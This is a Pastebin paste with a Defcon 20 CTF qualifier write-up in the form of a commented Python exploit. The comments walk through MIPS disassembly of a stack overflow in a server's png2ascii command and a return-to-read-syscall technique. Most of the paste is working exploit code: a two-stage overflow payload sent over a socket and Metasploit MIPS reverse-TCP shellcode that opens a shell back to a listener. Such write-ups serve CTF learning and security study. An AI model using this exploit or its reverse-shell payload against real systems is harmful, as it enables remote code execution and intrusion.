Guest User

Defcon 20 CTF Quals - PP100 Write up

a guest
Jun 4th, 2012
4,038
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/env python
  2. # exploit by @jgrusko
  3. # The real problem here is getting a linux MIPS and actually understanding MIPS, which
  4. # i didn't :) So does hexray...
  5. # Fortunately someone bothered creating a small debian squeeze image, which can be used with
  6. # qemu-mips: http://people.debian.org/~aurel32/qemu/mips/
  7. # The program is a server that allows connected client to send commands:
  8. #
  9. #IRIX (quals.ddtek.biz)
  10. #login: ^D
  11. #IRIX Release 6.5 IP32 ddtek
  12. #Copyright 1987-2002 Silic0n Graphix, Inc. All Rights Reserved.
  13. #Last login: Tue Jun 08 20:15:27 GMT 1954 by UNKNOWN@quals.ddtek.biz
  14. #
  15. #dd 0% help
  16. #Available commands:
  17. #qotd
  18. #ls
  19. #png2ascii
  20. #help
  21. #exit
  22. #quit
  23. #dd 1% png2ascii
  24. #Copy and paste your PNG file and I will convert it to ASCII for you:
  25. #AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  26. #AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  27. #AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  28. #AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  29. #
  30. # Issuing the "png2ascii" command and supplying a large string triggers a stack overflow
  31. # vulnerability.
  32. # The png2ascii() function is a follows:
  33. #.text:00401BC4 png2ascii_handler:
  34. #..
  35. #.text:00401BD0                 addiu   $sp, -0x130     // reserve space on stack for
  36. #                               // local variables
  37. #.text:00401BD4                 sw      $ra, 0x130+var_4($sp)   // push return address
  38. #.text:00401BD8                 sw      $fp, 0x130+var_8($sp)   // push sfp
  39. #.text:00401BDC                 move    $fp, $sp
  40. #...
  41. #.text:00401C4C                 addiu   $v0, $fp, 0x130+var_108 // Load buffer into $v0
  42. #.text:00401C50                 lw      $a0, 0x130+arg_0($fp)   // load socket descriptor in $a0
  43. #.text:00401C54                 move    $a1, $v0        // load buffer addr into $a1
  44. #.text:00401C58                 li      $a2, 0x200      // load max size into $a2
  45. #.text:00401C5C                 li      $a3, 0xA        // load delimiter into $a3
  46. #.text:00401C60                 la      $t9, read_until_delim   // load read_until_delim in $t9
  47. #.text:00401C64                 nop
  48. #.text:00401C68                 jalr    $t9 ; read_until_delim  // call read_until_delim() func
  49. #
  50. # The read_until_delim function actually call a getc() like function inside a loop until the
  51. # supplied delimiter '\n'  is encountered or the maximum buffer size is reached.
  52. # The function has the following prototype:
  53. # int read_until_delim(int sockfd, char *buffer, unsigned int max_size, char delim);
  54. #
  55. # However the maximum read size is 0x200, which is almost the double of the reserved stack
  56. # space. This is a classic stack overflow.
  57. # The real difficulty being dealing with the MIPS architecture
  58. # In order to get a one shot exploit, i decided to go for ROP-like exploitation. The big
  59. # problem is that MIPS is not ROPpers friendly since every opcode is 4-bytes it's unlikely to
  60. # find the required gadgets.
  61. # The solution I used was to return on the code performing the read syscall:
  62. #.text:0040F968                 lw      $gp, 0x20($sp)
  63. #.text:0040F96C                 sw      $v0, 0x2c($sp)
  64. #.text:0040F970                 lw      $a0, 0x0($sp)       // file descriptor
  65. #.text:0040F974                 lw      $a1, 0x4($sp)       // destination buffer address
  66. #.text:0040F978                 lw      $a2, 0x8($sp)       // read size
  67. #.text:0040F97C                 li      $v0, 0xFA3              // read syscall
  68. #.text:0040F980                 syscall 0                       // perform syscall
  69. #.text:0040F984                 sw      $v0, 0x30+var_C($sp)
  70. #.text:0040F988                 sw      $a3, 0x30+var_8($sp)
  71. #.text:0040F98C                 lw      $a0, 0x30+var_4($sp)
  72. #.text:0040F990                 la      $t9, -0x7ccc($gp)       // load function address
  73. #.text:0040F994                 nop
  74. #.text:0040F998                 jalr    $t9                 // jump to function
  75. #
  76. # With the following stack layout:
  77. # 0x00000000    0x0040f968  // Return address (Address of above code)
  78. # 0x00000004    0x00000004  // socket filedescriptor
  79. # 0x00000008    0x10000000  // address of destination into .data section
  80. # 0x0000000c    0x00000400  // read size
  81. # 0x00000014    0x41414141  // junk
  82. # 0x00000018    0x41414141  // junk
  83. # 0x0000001c    0x41414141  // junk
  84. # 0x00000020    0x41414141  // junk
  85. # 0x00000024    0x10007ccc  // goes into $gp register
  86. #
  87. # When the function will return, the code will actually read attacker second stage payload
  88. # into the address 0x10000000 in binary .data section.
  89. # The 0x10007ccc value is put into $gp by the instruction:
  90. # .text:0040F968                 lw      $gp, 0x20($sp)
  91. # When the following instruction is reached:
  92. # .text:0040F990                 la      $t9, -0x7ccc($gp)
  93. # .text:0040F994                 nop
  94. # .text:0040F998                 jalr    $t9                // jump to function
  95. # The value at (0x10007ccc - 0x7ccc) = 0x10000000 will be put into $t9.
  96. # By just prepending the second stage payload with the dword 0x10000004 the code will jump
  97. # directly into the payload.
  98. #
  99. # Here's the actual exploit code:
  100.  
  101. import struct
  102. import socket
  103. import sys
  104.  
  105. # msfpayload linux/mipsle/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444
  106. shellcode = (
  107.     "\xef\xff\x09\x24\xff\xff\x10\x05\x82\x82\x08\x28\x27\x48"
  108.     "\x20\x01\x21\xc8\x3f\x01\x48\x85\xb9\xaf\x48\x85\xb9\x23"
  109.     "\x00\x00\x1c\x3c\x00\x00\x9c\x27\x21\xe0\x99\x03\x00\x00"
  110.     "\x89\x8f\xd8\xff\xbd\x27\xe8\x00\x2a\x25\x04\x00\x47\x8d"
  111.     "\xe8\x00\x28\x8d\x00\x01\x04\x3c\x7f\x00\x83\x34\x18\x00"
  112.     "\xb9\x27\x02\x00\x06\x24\x11\x5c\x05\x24\x08\x00\xa6\xa7"
  113.     "\x0a\x00\xa5\xa7\x18\x00\xa8\xaf\x1c\x00\xa7\xaf\x0c\x00"
  114.     "\xa3\xaf\x20\x00\xb9\xaf\x24\x00\xa0\xaf\x02\x00\x04\x24"
  115.     "\x02\x00\x05\x24\x21\x30\x00\x00\x57\x10\x02\x24\x0c\x00"
  116.     "\x00\x00\x21\x18\x40\x00\xff\xff\x02\x24\x1a\x00\x62\x10"
  117.     "\x01\x00\x04\x24\x21\x20\x60\x00\x08\x00\xa5\x27\x10\x00"
  118.     "\x06\x24\x4a\x10\x02\x24\x0c\x00\x00\x00\x0e\x00\x40\x14"
  119.     "\x21\x28\x00\x00\xdf\x0f\x02\x24\x0c\x00\x00\x00\x01\x00"
  120.     "\x05\x24\xdf\x0f\x02\x24\x0c\x00\x00\x00\x02\x00\x05\x24"
  121.     "\xdf\x0f\x02\x24\x0c\x00\x00\x00\x21\x30\x00\x00\x21\x20"
  122.     "\x20\x03\x20\x00\xa5\x27\xab\x0f\x02\x24\x0c\x00\x00\x00"
  123.     "\x21\x20\x00\x00\xa1\x0f\x02\x24\x0c\x00\x00\x00\x08\x00"
  124.     "\xe0\x03\x28\x00\xbd\x27\xa1\x0f\x02\x24\x0c\x00\x00\x00"
  125.     "\xe5\xff\x00\x10\x21\x20\x60\x00\x2f\x62\x69\x6e\x2f\x73"
  126.     "\x68\x00\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
  127.     "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
  128.     "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
  129.     "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
  130.     "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
  131.     "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
  132. )
  133.  
  134. retAddr = struct.pack("<I", 0x40f968)
  135.  
  136. def exploit():
  137.     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  138.     s.connect(("localhost", 1994))
  139.     print(s.recv(4096))
  140.  
  141.     s.send(b"png2ascii\n")
  142.     print(s.recv(4096))
  143.    
  144.     payload  = "\x00" * (260)
  145.     payload += retAddr              # return on code performing read syscall
  146.     payload += struct.pack("<I", 0x04)      # filedescriptor
  147.     payload += struct.pack("<I", 0x10000000)    # destination address
  148.     payload += struct.pack("<I", 0x400)     # read size
  149.     payload += "EEEEFFFFGGGGHHHHIIII"       # junk arguments
  150.     payload += struct.pack("<I", 0x10007ccc)    # goes into gp
  151.     payload += "\n"
  152.  
  153.     # Send first stage payload
  154.     s.send(payload)
  155.  
  156.     # Send second stage payload
  157.     s.send(struct.pack("<I", 0x10000004) + shellcode)
  158.  
  159.     print(s.recv(8192))
  160.     print(s.recv(8192))
  161.     s.close()
  162.  
  163. if __name__ == "__main__":
  164.     exploit()
RAW Paste Data

Adblocker detected! Please consider disabling it...

We've detected AdBlock Plus or some other adblocking software preventing Pastebin.com from fully loading.

We don't have any obnoxious sound, or popup ads, we actively block these annoying types of ads!

Please add Pastebin.com to your ad blocker whitelist or disable your adblocking software.

×